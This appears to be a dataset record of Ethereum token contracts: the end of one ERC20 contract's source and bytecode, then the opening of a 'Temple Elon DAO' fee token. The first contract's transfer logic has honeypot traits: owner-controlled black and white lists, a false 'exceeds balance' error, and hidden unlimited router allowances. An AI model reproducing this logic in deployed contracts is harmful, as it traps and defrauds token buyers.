if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209121fcfca82c2068c99fa705080fb7f77a03f72b1586301f342fbdc2ff5eb15064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,409 |
0x1fceafa13e5a4b92aea1ea080a92b1eb7f857336
|
/**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
// SPDX-License-Identifier: Unlicensed
//We are the DAO organization for Elon.
//It would be foolish to dismiss current market conditions and the issues that yield token mechanics have recently faced.
//Our program will provide a sustainable strategic investment for all participating members.
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TEMPLE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Temple Elon DAO";
string private constant _symbol = "Templelon";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1010101010101 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xf71BF9F8a5c5b6Fd975fd7B78E66Bddc70CD2F61);
address payable private _marketingAddress = payable(0xf71BF9F8a5c5b6Fd975fd7B78E66Bddc70CD2F61);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10101010101 * 10**9;
uint256 public _maxWalletSize = 10101010101 * 10**9;
uint256 public _swapTokensAtAmount = 10101 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
